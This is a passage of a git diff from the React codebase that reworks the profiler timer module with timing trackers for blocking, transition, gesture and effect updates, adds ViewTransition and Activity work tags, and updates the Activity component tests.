+  NoLanes,
+} from './ReactFiberLane';
+
+import {resolveEventType, resolveEventTimeStamp} from './ReactFiberConfig';
+
 import {
   enableProfilerCommitHooks,
   enableProfilerNestedUpdatePhase,
   enableProfilerTimer,
+  enableComponentPerformanceTrack,
 } from 'shared/ReactFeatureFlags';
-import {HostRoot, Profiler} from './ReactWorkTags';
+
+import getComponentNameFromFiber from './getComponentNameFromFiber';
+import {isAlreadyRendering} from './ReactFiberWorkLoop';
 
 // Intentionally not named imports because Rollup would use dynamic dispatch for
 // CommonJS interop named imports.
@@ -22,22 +42,482 @@ import * as Scheduler from 'scheduler';
 
 const {unstable_now: now} = Scheduler;
 
-export type ProfilerTimer = {
-  getCommitTime(): number,
-  isCurrentUpdateNested(): boolean,
-  markNestedUpdateScheduled(): void,
-  recordCommitTime(): void,
-  startProfilerTimer(fiber: Fiber): void,
-  stopProfilerTimerIfRunning(fiber: Fiber): void,
-  stopProfilerTimerIfRunningAndRecordDelta(fiber: Fiber): void,
-  syncNestedUpdateFlag(): void,
-  ...
-};
-
-let commitTime: number = 0;
-let layoutEffectStartTime: number = -1;
-let profilerStartTime: number = -1;
-let passiveEffectStartTime: number = -1;
+const createTask =
+  // eslint-disable-next-line react-internal/no-production-logging
+  __DEV__ && console.createTask
+    ? // eslint-disable-next-line react-internal/no-production-logging
+      console.createTask
+    : (name: string) => null;
+
+export const REGULAR_UPDATE: UpdateType = 0;
+export const SPAWNED_UPDATE: UpdateType = 1;
+export const PINGED_UPDATE: UpdateType = 2;
+export opaque type UpdateType = 0 | 1 | 2;
+
+export let renderStartTime: number = -0;
+export let commitStartTime: number = -0;
+export let commitEndTime: number = -0;
+export let commitErrors: null | Array<CapturedValue<mixed>> = null;
+export let profilerStartTime: number = -1.1;
+export let profilerEffectDuration: number = -0;
+export let componentEffectDuration: number = -0;
+export let componentEffectStartTime: number = -1.1;
+export let componentEffectEndTime: number = -1.1;
+export let componentEffectErrors: null | Array<CapturedValue<mixed>> = null;
+export let componentEffectSpawnedUpdate: boolean = false;
+
+export let blockingClampTime: number = -0;
+export let blockingUpdateTime: number = -1.1; // First sync setState scheduled.
+export let blockingUpdateTask: null | ConsoleTask = null; // First sync setState's stack trace.
+export let blockingUpdateType: UpdateType = 0;
+export let blockingUpdateMethodName: null | string = null; // The name of the method that caused first sync update.
+export let blockingUpdateComponentName: null | string = null; // The name of the component where first sync update happened.
+export let blockingEventTime: number = -1.1; // Event timeStamp of the first setState.
+export let blockingEventType: null | string = null; // Event type of the first setState.
+export let blockingEventRepeatTime: number = -1.1;
+export let blockingSuspendedTime: number = -1.1;
+
+export let gestureClampTime: number = -0;
+export let gestureUpdateTime: number = -1.1; // First setOptimistic scheduled inside startGestureTransition.
+export let gestureUpdateTask: null | ConsoleTask = null; // First sync setState's stack trace.
+export let gestureUpdateType: UpdateType = 0;
+export let gestureUpdateMethodName: null | string = null; // The name of the method that caused first gesture update.
+export let gestureUpdateComponentName: null | string = null; // The name of the component where first gesture update happened.
+export let gestureEventTime: number = -1.1; // Event timeStamp of the first setState.
+export let gestureEventType: null | string = null; // Event type of the first setState.
+export let gestureEventRepeatTime: number = -1.1;
+export let gestureSuspendedTime: number = -1.1;
+
+// TODO: This should really be one per Transition lane.
+export let transitionClampTime: number = -0;
+export let transitionStartTime: number = -1.1; // First startTransition call before setState.
+export let transitionUpdateTime: number = -1.1; // First transition setState scheduled.
+export let transitionUpdateType: UpdateType = 0;
+export let transitionUpdateTask: null | ConsoleTask = null; // First transition setState's stack trace.
+export let transitionUpdateMethodName: null | string = null; // The name of the method that caused first transition update.
+export let transitionUpdateComponentName: null | string = null; // The name of the component where first transition update happened.
+export let transitionEventTime: number = -1.1; // Event timeStamp of the first transition.
+export let transitionEventType: null | string = null; // Event type of the first transition.
+export let transitionEventRepeatTime: number = -1.1;
+export let transitionSuspendedTime: number = -1.1;
+
+export let retryClampTime: number = -0;
+export let idleClampTime: number = -0;
+
+export let animatingLanes: Lanes = NoLanes;
+export let animatingTask: null | ConsoleTask = null; // First ViewTransition applying an Animation.
+
+export let yieldReason: SuspendedReason = (0: any);
+export let yieldStartTime: number = -1.1; // The time when we yielded to the event loop
+
+export function startYieldTimer(reason: SuspendedReason) {
+  if (!enableProfilerTimer || !enableComponentPerformanceTrack) {
+    return;
+  }
+  yieldStartTime = now();
+  yieldReason = reason;
+}
+
+export function startUpdateTimerByLane(
+  lane: Lane,
+  method: string,
+  fiber: Fiber | null,
+): void {
+  if (!enableProfilerTimer || !enableComponentPerformanceTrack) {
+    return;
+  }
+  if (isGestureRender(lane)) {
+    if (gestureUpdateTime < 0) {
+      gestureUpdateTime = now();
+      gestureUpdateTask = createTask(method);
+      gestureUpdateMethodName = method;
+      if (__DEV__ && fiber != null) {
+        gestureUpdateComponentName = getComponentNameFromFiber(fiber);
+      }
+      const newEventTime = resolveEventTimeStamp();
+      const newEventType = resolveEventType();
+      if (
+        newEventTime !== gestureEventRepeatTime ||
+        newEventType !== gestureEventType
+      ) {
+        gestureEventRepeatTime = -1.1;
+      }
+      gestureEventTime = newEventTime;
+      gestureEventType = newEventType;
+    }
+  } else if (isBlockingLane(lane)) {
+    if (blockingUpdateTime < 0) {
+      blockingUpdateTime = now();
+      blockingUpdateTask = createTask(method);
+      blockingUpdateMethodName = method;
+      if (__DEV__ && fiber != null) {
+        blockingUpdateComponentName = getComponentNameFromFiber(fiber);
+      }
+      if (isAlreadyRendering()) {
+        componentEffectSpawnedUpdate = true;
+        blockingUpdateType = SPAWNED_UPDATE;
+      }
+      const newEventTime = resolveEventTimeStamp();
+      const newEventType = resolveEventType();
+      if (
+        newEventTime !== blockingEventRepeatTime ||
+        newEventType !== blockingEventType
+      ) {
+        blockingEventRepeatTime = -1.1;
+      } else if (newEventType !== null) {
+        // If this is a second update in the same event, we treat it as a spawned update.
+        // This might be a microtask spawned from useEffect, multiple flushSync or
+        // a setState in a microtask spawned after the first setState. Regardless it's bad.
+        blockingUpdateType = SPAWNED_UPDATE;
+      }
+      blockingEventTime = newEventTime;
+      blockingEventType = newEventType;
+    }
+  } else if (isTransitionLane(lane)) {
+    if (transitionUpdateTime < 0) {
+      transitionUpdateTime = now();
+      transitionUpdateTask = createTask(method);
+      transitionUpdateMethodName = method;
+      if (__DEV__ && fiber != null) {
+        transitionUpdateComponentName = getComponentNameFromFiber(fiber);
+      }
+      if (transitionStartTime < 0) {
+        const newEventTime = resolveEventTimeStamp();
+        const newEventType = resolveEventType();
+        if (
+          newEventTime !== transitionEventRepeatTime ||
+          newEventType !== transitionEventType
+        ) {
+          transitionEventRepeatTime = -1.1;
+        }
+        transitionEventTime = newEventTime;
+        transitionEventType = newEventType;
+      }
+    }
+  }
+}
+
+export function startHostActionTimer(fiber: Fiber): void {
+  if (!enableProfilerTimer || !enableComponentPerformanceTrack) {
+    return;
+  }
+  // This schedules an update on both the blocking lane for the pending state and on the
+  // transition lane for the action update. Using the debug task from the host fiber.
+  if (blockingUpdateTime < 0) {
+    blockingUpdateTime = now();
+    blockingUpdateTask =
+      __DEV__ && fiber._debugTask != null ? fiber._debugTask : null;
+    if (isAlreadyRendering()) {
+      blockingUpdateType = SPAWNED_UPDATE;
+    }
+    const newEventTime = resolveEventTimeStamp();
+    const newEventType = resolveEventType();
+    if (
+      newEventTime !== blockingEventRepeatTime ||
+      newEventType !== blockingEventType
+    ) {
+      blockingEventRepeatTime = -1.1;
+    } else if (newEventType !== null) {
+      // If this is a second update in the same event, we treat it as a spawned update.
+      // This might be a microtask spawned from useEffect, multiple flushSync or
+      // a setState in a microtask spawned after the first setState. Regardless it's bad.
+      blockingUpdateType = SPAWNED_UPDATE;
+    }
+    blockingEventTime = newEventTime;
+    blockingEventType = newEventType;
+  }
+  if (transitionUpdateTime < 0) {
+    transitionUpdateTime = now();
+    transitionUpdateTask =
+      __DEV__ && fiber._debugTask != null ? fiber._debugTask : null;
+    if (transitionStartTime < 0) {
+      const newEventTime = resolveEventTimeStamp();
+      const newEventType = resolveEventType();
+      if (
+        newEventTime !== transitionEventRepeatTime ||
+        newEventType !== transitionEventType
+      ) {
+        transitionEventRepeatTime = -1.1;
+      }
+      transitionEventTime = newEventTime;
+      transitionEventType = newEventType;
+    }
+  }
+}
+
+export function startPingTimerByLanes(lanes: Lanes): void {
+  if (!enableProfilerTimer || !enableComponentPerformanceTrack) {
+    return;
+  }
+  // Mark the update time and clamp anything before it because we don't want
+  // to show the event time for pings but we also don't want to clear it
+  // because we still need to track if this was a repeat.
+  if (isGestureRender(lanes)) {
+    if (gestureUpdateTime < 0) {
+      gestureClampTime = gestureUpdateTime = now();
+      gestureUpdateTask = createTask('Promise Resolved');
+      gestureUpdateType = PINGED_UPDATE;
+    }
+  } else if (includesBlockingLane(lanes)) {
+    if (blockingUpdateTime < 0) {
+      blockingClampTime = blockingUpdateTime = now();
+      blockingUpdateTask = createTask('Promise Resolved');
+      blockingUpdateType = PINGED_UPDATE;
+    }
+  } else if (includesTransitionLane(lanes)) {
+    if (transitionUpdateTime < 0) {
+      transitionClampTime = transitionUpdateTime = now();
+      transitionUpdateTask = createTask('Promise Resolved');
+      transitionUpdateType = PINGED_UPDATE;
+    }
+  }
+}
+
+export function trackSuspendedTime(lanes: Lanes, renderEndTime: number) {
+  if (!enableProfilerTimer || !enableComponentPerformanceTrack) {
+    return;
+  }
+  if (isGestureRender(lanes)) {
+    gestureSuspendedTime = renderEndTime;
+  } else if (includesBlockingLane(lanes)) {
+    blockingSuspendedTime = renderEndTime;
+  } else if (includesTransitionLane(lanes)) {
+    transitionSuspendedTime = renderEndTime;
+  }
+}
+
+export function clearBlockingTimers(): void {
+  blockingUpdateTime = -1.1;
+  blockingUpdateType = 0;
+  blockingUpdateMethodName = null;
+  blockingUpdateComponentName = null;
+  blockingSuspendedTime = -1.1;
+  blockingEventRepeatTime = blockingEventTime;
+  blockingEventTime = -1.1;
+  blockingClampTime = now();
+}
+
+export function startAsyncTransitionTimer(): void {
+  if (!enableProfilerTimer || !enableComponentPerformanceTrack) {
+    return;
+  }
+  if (transitionStartTime < 0 && transitionUpdateTime < 0) {
+    transitionStartTime = now();
+    const newEventTime = resolveEventTimeStamp();
+    const newEventType = resolveEventType();
+    if (
+      newEventTime !== transitionEventRepeatTime ||
+      newEventType !== transitionEventType
+    ) {
+      transitionEventRepeatTime = -1.1;
+    }
+    transitionEventTime = newEventTime;
+    transitionEventType = newEventType;
+  }
+}
+
+export function hasScheduledTransitionWork(): boolean {
+  // If we have setState on a transition or scheduled useActionState update.
+  return transitionUpdateTime > -1;
+}
+
+export function clearAsyncTransitionTimer(): void {
+  transitionStartTime = -1.1;
+}
+
+export function clearTransitionTimers(): void {
+  transitionStartTime = -1.1;
+  transitionUpdateTime = -1.1;
+  transitionUpdateType = 0;
+  transitionSuspendedTime = -1.1;
+  transitionEventRepeatTime = transitionEventTime;
+  transitionEventTime = -1.1;
+  transitionClampTime = now();
+}
+
+export function hasScheduledGestureTransitionWork(): boolean {
+  // If we have call setOptimistic on a gesture
+  return gestureUpdateTime > -1;
+}
+
+export function clearGestureTimers(): void {
+  gestureUpdateTime = -1.1;
+  gestureUpdateType = 0;
+  gestureSuspendedTime = -1.1;
+  gestureEventRepeatTime = gestureEventTime;
+  gestureEventTime = -1.1;
+  gestureClampTime = now();
+}
+
+export function clearGestureUpdates(): void {
+  // Same as clearGestureTimers but doesn't reset the clamp time because we didn't
+  // actually emit a render.
+  gestureUpdateTime = -1.1;
+  gestureUpdateType = 0;
+  gestureSuspendedTime = -1.1;
+  gestureEventRepeatTime = gestureEventTime;
+  gestureEventTime = -1.1;
+}
+
+export function clampBlockingTimers(finalTime: number): void {
+  if (!enableProfilerTimer || !enableComponentPerformanceTrack) {
+    return;
+  }
+  // If we had new updates come in while we were still rendering or committing, we don't want
+  // those update times to create overlapping tracks in the performance timeline so we clamp
+  // them to the end of the commit phase.
+  blockingClampTime = finalTime;
+}
+
+export function clampGestureTimers(finalTime: number): void {
+  if (!enableProfilerTimer || !enableComponentPerformanceTrack) {
+    return;
+  }
+  // If we had new updates come in while we were still rendering or committing, we don't want
+  // those update times to create overlapping tracks in the performance timeline so we clamp
+  // them to the end of the commit phase.
+  gestureClampTime = finalTime;
+}
+
+export function clampTransitionTimers(finalTime: number): void {
+  if (!enableProfilerTimer || !enableComponentPerformanceTrack) {
+    return;
+  }
+  // If we had new updates come in while we were still rendering or committing, we don't want
+  // those update times to create overlapping tracks in the performance timeline so we clamp
+  // them to the end of the commit phase.
+  transitionClampTime = finalTime;
+}
+
+export function clampRetryTimers(finalTime: number): void {
+  if (!enableProfilerTimer || !enableComponentPerformanceTrack) {
+    return;
+  }
+  retryClampTime = finalTime;
+}
+
+export function clampIdleTimers(finalTime: number): void {
+  if (!enableProfilerTimer || !enableComponentPerformanceTrack) {
+    return;
+  }
+  idleClampTime = finalTime;
+}
+
+export function pushNestedEffectDurations(): number {
+  if (!enableProfilerTimer || !enableProfilerCommitHooks) {
+    return 0;
+  }
+  const prevEffectDuration = profilerEffectDuration;
+  profilerEffectDuration = 0; // Reset counter.
+  return prevEffectDuration;
+}
+
+export function popNestedEffectDurations(prevEffectDuration: number): number {
+  if (!enableProfilerTimer || !enableProfilerCommitHooks) {
+    return 0;
+  }
+  const elapsedTime = profilerEffectDuration;
+  profilerEffectDuration = prevEffectDuration;
+  return elapsedTime;
+}
+
+// Like pop but it also adds the current elapsed time to the parent scope.
+export function bubbleNestedEffectDurations(
+  prevEffectDuration: number,
+): number {
+  if (!enableProfilerTimer || !enableProfilerCommitHooks) {
+    return 0;
+  }
+  const elapsedTime = profilerEffectDuration;
+  profilerEffectDuration += prevEffectDuration;
+  return elapsedTime;
+}
+
+export function resetComponentEffectTimers(): void {
+  if (!enableProfilerTimer || !enableProfilerCommitHooks) {
+    return;
+  }
+  componentEffectStartTime = -1.1;
+  componentEffectEndTime = -1.1;
+}
+
+export function pushComponentEffectStart(): number {
+  if (!enableProfilerTimer || !enableProfilerCommitHooks) {
+    return 0;
+  }
+  const prevEffectStart = componentEffectStartTime;
+  componentEffectStartTime = -1.1; // Track the next start.
+  return prevEffectStart;
+}
+
+export function popComponentEffectStart(prevEffectStart: number): void {
+  if (!enableProfilerTimer || !enableProfilerCommitHooks) {
+    return;
+  }
+  // If the parent component didn't have a start time, we let this current time persist.
+  if (prevEffectStart >= 0) {
+    // Otherwise, we restore the previous parent's start time.
+    componentEffectStartTime = prevEffectStart;
+  }
+}
+
+export function pushComponentEffectDuration(): number {
+  if (!enableProfilerTimer || !enableProfilerCommitHooks) {
+    return 0;
+  }
+  const prevEffectDuration = componentEffectDuration;
+  componentEffectDuration = -0; // Reset component level duration.
+  return prevEffectDuration;
+}
+
+export function popComponentEffectDuration(prevEffectDuration: number): void {
+  if (!enableProfilerTimer || !enableProfilerCommitHooks) {
+    return;
+  }
+  // If the parent component didn't have a start time, we let this current time persist.
+  if (prevEffectDuration >= 0) {
+    // Otherwise, we restore the previous parent's start time.
+    componentEffectDuration = prevEffectDuration;
+  }
+}
+
+export function pushComponentEffectErrors(): null | Array<
+  CapturedValue<mixed>,
+> {
+  if (!enableProfilerTimer || !enableProfilerCommitHooks) {
+    return null;
+  }
+  const prevErrors = componentEffectErrors;
+  componentEffectErrors = null;
+  return prevErrors;
+}
+
+export function popComponentEffectErrors(
+  prevErrors: null | Array<CapturedValue<mixed>>,
+): void {
+  if (!enableProfilerTimer || !enableProfilerCommitHooks) {
+    return;
+  }
+  componentEffectErrors = prevErrors;
+}
+
+export function pushComponentEffectDidSpawnUpdate(): boolean {
+  if (!enableProfilerTimer || !enableProfilerCommitHooks) {
+    return false;
+  }
+
+  const prev = componentEffectSpawnedUpdate;
+  componentEffectSpawnedUpdate = false; // Reset.
+  return prev;
+}
+
+export function popComponentEffectDidSpawnUpdate(previousValue: boolean): void {
+  if (!enableProfilerTimer || !enableProfilerCommitHooks) {
+    return;
+  }
+
+  componentEffectSpawnedUpdate = previousValue;
+}
 
 /**
  * Tracks whether the current update was a nested/cascading update (scheduled from a layout effect).
@@ -58,42 +538,52 @@ let passiveEffectStartTime: number = -1;
 let currentUpdateIsNested: boolean = false;
 let nestedUpdateScheduled: boolean = false;
 
-function isCurrentUpdateNested(): boolean {
+export function isCurrentUpdateNested(): boolean {
   return currentUpdateIsNested;
 }
 
-function markNestedUpdateScheduled(): void {
+export function markNestedUpdateScheduled(): void {
   if (enableProfilerNestedUpdatePhase) {
     nestedUpdateScheduled = true;
   }
 }
 
-function resetNestedUpdateFlag(): void {
+export function resetNestedUpdateFlag(): void {
   if (enableProfilerNestedUpdatePhase) {
     currentUpdateIsNested = false;
     nestedUpdateScheduled = false;
   }
 }
 
-function syncNestedUpdateFlag(): void {
+export function syncNestedUpdateFlag(): void {
   if (enableProfilerNestedUpdatePhase) {
     currentUpdateIsNested = nestedUpdateScheduled;
     nestedUpdateScheduled = false;
   }
 }
 
-function getCommitTime(): number {
-  return commitTime;
+export function recordRenderTime(): void {
+  if (!enableProfilerTimer || !enableComponentPerformanceTrack) {
+    return;
+  }
+  renderStartTime = now();
+}
+
+export function recordCommitTime(): void {
+  if (!enableProfilerTimer) {
+    return;
+  }
+  commitStartTime = now();
 }
 
-function recordCommitTime(): void {
+export function recordCommitEndTime(): void {
   if (!enableProfilerTimer) {
     return;
   }
-  commitTime = now();
+  commitEndTime = now();
 }
 
-function startProfilerTimer(fiber: Fiber): void {
+export function startProfilerTimer(fiber: Fiber): void {
   if (!enableProfilerTimer) {
     return;
   }
@@ -101,20 +591,19 @@ function startProfilerTimer(fiber: Fiber): void {
   profilerStartTime = now();
 
   if (((fiber.actualStartTime: any): number) < 0) {
-    fiber.actualStartTime = now();
+    fiber.actualStartTime = profilerStartTime;
   }
 }
 
-function stopProfilerTimerIfRunning(fiber: Fiber): void {
+export function stopProfilerTimerIfRunning(fiber: Fiber): void {
   if (!enableProfilerTimer) {
     return;
   }
   profilerStartTime = -1;
 }
 
-function stopProfilerTimerIfRunningAndRecordDelta(
+export function stopProfilerTimerIfRunningAndRecordDuration(
   fiber: Fiber,
-  overrideBaseTime: boolean,
 ): void {
   if (!enableProfilerTimer) {
     return;
@@ -123,93 +612,77 @@ function stopProfilerTimerIfRunningAndRecordDelta(
   if (profilerStartTime >= 0) {
     const elapsedTime = now() - profilerStartTime;
     fiber.actualDuration += elapsedTime;
-    if (overrideBaseTime) {
-      fiber.selfBaseDuration = elapsedTime;
-    }
+    fiber.selfBaseDuration = elapsedTime;
     profilerStartTime = -1;
   }
 }
 
-function recordLayoutEffectDuration(fiber: Fiber): void {
-  if (!enableProfilerTimer || !enableProfilerCommitHooks) {
+export function stopProfilerTimerIfRunningAndRecordIncompleteDuration(
+  fiber: Fiber,
+): void {
+  if (!enableProfilerTimer) {
     return;
   }
 
-  if (layoutEffectStartTime >= 0) {
-    const elapsedTime = now() - layoutEffectStartTime;
-
-    layoutEffectStartTime = -1;
-
-    // Store duration on the next nearest Profiler ancestor
-    // Or the root (for the DevTools Profiler to read)
-    let parentFiber = fiber.return;
-    while (parentFiber !== null) {
-      switch (parentFiber.tag) {
-        case HostRoot:
-          const root = parentFiber.stateNode;
-          root.effectDuration += elapsedTime;
-          return;
-        case Profiler:
-          const parentStateNode = parentFiber.stateNode;
-          parentStateNode.effectDuration += elapsedTime;
-          return;
-      }
-      parentFiber = parentFiber.return;
-    }
+  if (profilerStartTime >= 0) {
+    const elapsedTime = now() - profilerStartTime;
+    fiber.actualDuration += elapsedTime;
+    // We don't update the selfBaseDuration here because we errored.
+    profilerStartTime = -1;
   }
 }
 
-function recordPassiveEffectDuration(fiber: Fiber): void {
+export function recordEffectDuration(fiber: Fiber): void {
   if (!enableProfilerTimer || !enableProfilerCommitHooks) {
     return;
   }
 
-  if (passiveEffectStartTime >= 0) {
-    const elapsedTime = now() - passiveEffectStartTime;
+  if (profilerStartTime >= 0) {
+    const endTime = now();
+    const elapsedTime = endTime - profilerStartTime;
 
-    passiveEffectStartTime = -1;
+    profilerStartTime = -1;
 
     // Store duration on the next nearest Profiler ancestor
     // Or the root (for the DevTools Profiler to read)
-    let parentFiber = fiber.return;
-    while (parentFiber !== null) {
-      switch (parentFiber.tag) {
-        case HostRoot:
-          const root = parentFiber.stateNode;
-          if (root !== null) {
-            root.passiveEffectDuration += elapsedTime;
-          }
-          return;
-        case Profiler:
-          const parentStateNode = parentFiber.stateNode;
-          if (parentStateNode !== null) {
-            // Detached fibers have their state node cleared out.
-            // In this case, the return pointer is also cleared out,
-            // so we won't be able to report the time spent in this Profiler's subtree.
-            parentStateNode.passiveEffectDuration += elapsedTime;
-          }
-          return;
-      }
-      parentFiber = parentFiber.return;
-    }
+    profilerEffectDuration += elapsedTime;
+    componentEffectDuration += elapsedTime;
+
+    // Keep track of the last end time of the effects.
+    componentEffectEndTime = endTime;
   }
 }
 
-function startLayoutEffectTimer(): void {
+export function recordEffectError(errorInfo: CapturedValue<mixed>): void {
   if (!enableProfilerTimer || !enableProfilerCommitHooks) {
     return;
   }
-  layoutEffectStartTime = now();
+  if (componentEffectErrors === null) {
+    componentEffectErrors = [];
+  }
+  componentEffectErrors.push(errorInfo);
+  if (commitErrors === null) {
+    commitErrors = [];
+  }
+  commitErrors.push(errorInfo);
+}
+
+export function resetCommitErrors(): void {
+  commitErrors = null;
 }
 
-function startPassiveEffectTimer(): void {
+export function startEffectTimer(): void {
   if (!enableProfilerTimer || !enableProfilerCommitHooks) {
     return;
   }
-  passiveEffectStartTime = now();
+  profilerStartTime = now();
+  if (componentEffectStartTime < 0) {
+    // Keep track of the first time we start an effect as the component's effect start time.
+    componentEffectStartTime = profilerStartTime;
+  }
 }
 
-function transferActualDuration(fiber: Fiber): void {
+export function transferActualDuration(fiber: Fiber): void {
   // Transfer time spent rendering these children so we don't lose it
   // after we rerender. This is used as a helper in special cases
   // where we should count the work of multiple passes.
@@ -221,19 +694,18 @@ function transferActualDuration(fiber: Fiber): void {
   }
 }
 
-export {
-  getCommitTime,
-  isCurrentUpdateNested,
-  markNestedUpdateScheduled,
-  recordCommitTime,
-  recordLayoutEffectDuration,
-  recordPassiveEffectDuration,
-  resetNestedUpdateFlag,
-  startLayoutEffectTimer,
-  startPassiveEffectTimer,
-  startProfilerTimer,
-  stopProfilerTimerIfRunning,
-  stopProfilerTimerIfRunningAndRecordDelta,
-  syncNestedUpdateFlag,
-  transferActualDuration,
-};
+export function startAnimating(lanes: Lanes): void {
+  animatingLanes |= lanes;
+  animatingTask = null;
+}
+
+export function stopAnimating(lanes: Lanes): void {
+  animatingLanes &= ~lanes;
+  animatingTask = null;
+}
+
+export function trackAnimatingTask(task: ConsoleTask): void {
+  if (animatingTask === null) {
+    animatingTask = task;
+  }
+}
diff --git a/packages/react-reconciler/src/ReactTestSelectors.js b/packages/react-reconciler/src/ReactTestSelectors.js
index 34f0529f8cde..ec30b2112b21 100644
--- a/packages/react-reconciler/src/ReactTestSelectors.js
+++ b/packages/react-reconciler/src/ReactTestSelectors.js
@@ -48,7 +48,7 @@ type Type = symbol | number;
 
 type ComponentSelector = {
   $$typeof: Type,
-  value: React$AbstractComponent<empty, mixed>,
+  value: component(),
 };
 
 type HasPseudoClassSelector = {
@@ -79,7 +79,7 @@ type Selector =
   | TestNameSelector;
 
 export function createComponentSelector(
-  component: React$AbstractComponent<empty, mixed>,
+  component: component(),
 ): ComponentSelector {
   return {
     $$typeof: COMPONENT_TYPE,
diff --git a/packages/react-reconciler/src/ReactTypeOfMode.js b/packages/react-reconciler/src/ReactTypeOfMode.js
index 6da450ffeac6..22d0a7c6d1a0 100644
--- a/packages/react-reconciler/src/ReactTypeOfMode.js
+++ b/packages/react-reconciler/src/ReactTypeOfMode.js
@@ -13,8 +13,9 @@ export const NoMode = /*                         */ 0b0000000;
 // TODO: Remove ConcurrentMode by reading from the root tag instead
 export const ConcurrentMode = /*                 */ 0b0000001;
 export const ProfileMode = /*                    */ 0b0000010;
-export const DebugTracingMode = /*               */ 0b0000100;
+//export const DebugTracingMode = /*             */ 0b0000100; // Removed
 export const StrictLegacyMode = /*               */ 0b0001000;
 export const StrictEffectsMode = /*              */ 0b0010000;
-export const ConcurrentUpdatesByDefaultMode = /* */ 0b0100000;
-export const NoStrictPassiveEffectsMode = /*     */ 0b1000000;
+// Keep track of if we're in a SuspenseyImages eligible subtree.
+// TODO: Remove this when enableSuspenseyImages ship where it's always on.
+export const SuspenseyImagesMode = /*            */ 0b0100000;
diff --git a/packages/react-reconciler/src/ReactWorkTags.js b/packages/react-reconciler/src/ReactWorkTags.js
index 0af97479ef83..4b01934be778 100644
--- a/packages/react-reconciler/src/ReactWorkTags.js
+++ b/packages/react-reconciler/src/ReactWorkTags.js
@@ -37,7 +37,9 @@ export type WorkTag =
   | 26
   | 27
   | 28
-  | 29;
+  | 29
+  | 30
+  | 31;
 
 export const FunctionComponent = 0;
 export const ClassComponent = 1;
@@ -67,3 +69,5 @@ export const HostHoistable = 26;
 export const HostSingleton = 27;
 export const IncompleteFunctionComponent = 28;
 export const Throw = 29;
+export const ViewTransitionComponent = 30;
+export const ActivityComponent = 31;
diff --git a/packages/react-reconciler/src/__tests__/Activity-test.js b/packages/react-reconciler/src/__tests__/Activity-test.js
index c12d49a85ce7..9abebad1dd09 100644
--- a/packages/react-reconciler/src/__tests__/Activity-test.js
+++ b/packages/react-reconciler/src/__tests__/Activity-test.js
@@ -7,12 +7,14 @@ let Activity;
 let useState;
 let useLayoutEffect;
 let useEffect;
+let useInsertionEffect;
 let useMemo;
-let useRef;
 let startTransition;
 let waitForPaint;
 let waitFor;
 let assertLog;
+let assertConsoleErrorDev;
+let Suspense;
 
 describe('Activity', () => {
   beforeEach(() => {
@@ -23,18 +25,20 @@ describe('Activity', () => {
     Scheduler = require('scheduler');
     act = require('internal-test-utils').act;
     LegacyHidden = React.unstable_LegacyHidden;
-    Activity = React.unstable_Activity;
+    Activity = React.Activity;
+    Suspense = React.Suspense;
     useState = React.useState;
+    useInsertionEffect = React.useInsertionEffect;
     useLayoutEffect = React.useLayoutEffect;
     useEffect = React.useEffect;
     useMemo = React.useMemo;
-    useRef = React.useRef;
     startTransition = React.startTransition;
 
     const InternalTestUtils = require('internal-test-utils');
     waitForPaint = InternalTestUtils.waitForPaint;
     waitFor = InternalTestUtils.waitFor;
     assertLog = InternalTestUtils.assertLog;
+    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;
   });
 
   function Text(props) {
@@ -42,23 +46,6 @@ describe('Activity', () => {
     return <span prop={props.text}>{props.children}</span>;
   }
 
-  function LoggedText({text, children}) {
-    useEffect(() => {
-      Scheduler.log(`mount ${text}`);
-      return () => {
-        Scheduler.log(`unmount ${text}`);
-      };
-    });
-
-    useLayoutEffect(() => {
-      Scheduler.log(`mount layout ${text}`);
-      return () => {
-        Scheduler.log(`unmount layout ${text}`);
-      };
-    });
-    return <Text text={text}>{children}</Text>;
-  }
-
   // @gate enableLegacyHidden
   it('unstable-defer-without-hiding should never toggle the visibility of its children', async () => {
     function App({mode}) {
@@ -209,7 +196,6 @@ describe('Activity', () => {
     );
   });
 
-  // @gate enableActivity
   it('mounts without layout effects when hidden', async () => {
     function Child({text}) {
       useLayoutEffect(() => {
@@ -247,7 +233,6 @@ describe('Activity', () => {
     expect(root).toMatchRenderedOutput(<span prop="Child" />);
   });
 
-  // @gate enableActivity
   it('mounts/unmounts layout effects when visibility changes (starting visible)', async () => {
     function Child({text}) {
       useLayoutEffect(() => {
@@ -293,9 +278,8 @@ describe('Activity', () => {
     expect(root).toMatchRenderedOutput(<span prop="Child" />);
   });
 
-  // @gate enableActivity
   it('nested offscreen does not call componentWillUnmount when hidden', async () => {
-    // This is a bug that appeared during production test of <unstable_Activity />.
+    // This is a bug that appeared during production test of <Activity />.
     // It is a very specific scenario with nested Offscreens. The inner offscreen
     // goes from visible to hidden in synchronous update.
     class ClassComponent extends React.Component {
@@ -397,7 +381,6 @@ describe('Activity', () => {
     assertLog(['child']);
   });
 
-  // @gate enableActivity
   it('mounts/unmounts layout effects when visibility changes (starting hidden)', async () => {
     function Child({text}) {
       useLayoutEffect(() => {
@@ -444,7 +427,6 @@ describe('Activity', () => {
     expect(root).toMatchRenderedOutput(<span hidden={true} prop="Child" />);
   });
 
-  // @gate enableActivity
   it('hides children of offscreen after layout effects are destroyed', async () => {
     const root = ReactNoop.createRoot();
     function Child({text}) {
@@ -531,7 +513,6 @@ describe('Activity', () => {
     assertLog(['Unmount layout']);
   });
 
-  // @gate enableActivity
   it('hides new insertions into an already hidden tree', async () => {
     const root = ReactNoop.createRoot();
     await act(() => {
@@ -561,7 +542,6 @@ describe('Activity', () => {
     );
   });
 
-  // @gate enableActivity
   it('hides updated nodes inside an already hidden tree', async () => {
     const root = ReactNoop.createRoot();
     await act(() => {
@@ -607,7 +587,6 @@ describe('Activity', () => {
     expect(root).toMatchRenderedOutput(<span>Hi</span>);
   });
 
-  // @gate enableActivity
   it('revealing a hidden tree at high priority does not cause tearing', async () => {
     // When revealing an offscreen tree, we need to include updates that were
     // previously deferred because the tree was hidden, even if they are lower
@@ -698,15 +677,10 @@ describe('Activity', () => {
       );
 
       // Before the inner update can finish, we receive another pair of updates.
-      if (gate(flags => flags.enableUnifiedSyncLane)) {
-        React.startTransition(() => {
-          setOuter(2);
-          setInner(2);
-        });
-      } else {
+      React.startTransition(() => {
         setOuter(2);
         setInner(2);
-      }
+      });
 
       // Also, before either of these new updates are processed, the hidden
       // tree is revealed at high priority.
@@ -741,7 +715,6 @@ describe('Activity', () => {
     expect(areOuterAndInnerConsistent()).toBe(true);
   });
 
-  // @gate enableActivity
   it('regression: Activity instance is sometimes null during setState', async () => {
     let setState;
     function Child() {
